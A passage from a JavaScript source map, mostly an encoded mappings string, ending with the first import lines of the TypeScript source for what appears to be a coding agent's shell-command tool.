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","sourcesContent":["import { constants } from \"node:fs\";\nimport { access as fsAccess } from \"node:fs/promises\";\nimport { Container, Text, truncateToWidth } from \"@earendil-works/pi-tui\";\nimport { type AgentTool, type AgentToolResult, ToolExecutionError } from \"apex-code-agent-core\";\nimport { spawn } from \"child_process\";\nimport { type Static, Type } from \"typebox\";\nimport { formatHiddenLines, previewLineCount } from \"../../modes/interactive/components/keybinding-hints.ts\";\nimport { truncateToVisualLines } from \"../../modes/interactive/components/visual-truncate.ts\";\nimport { theme } from 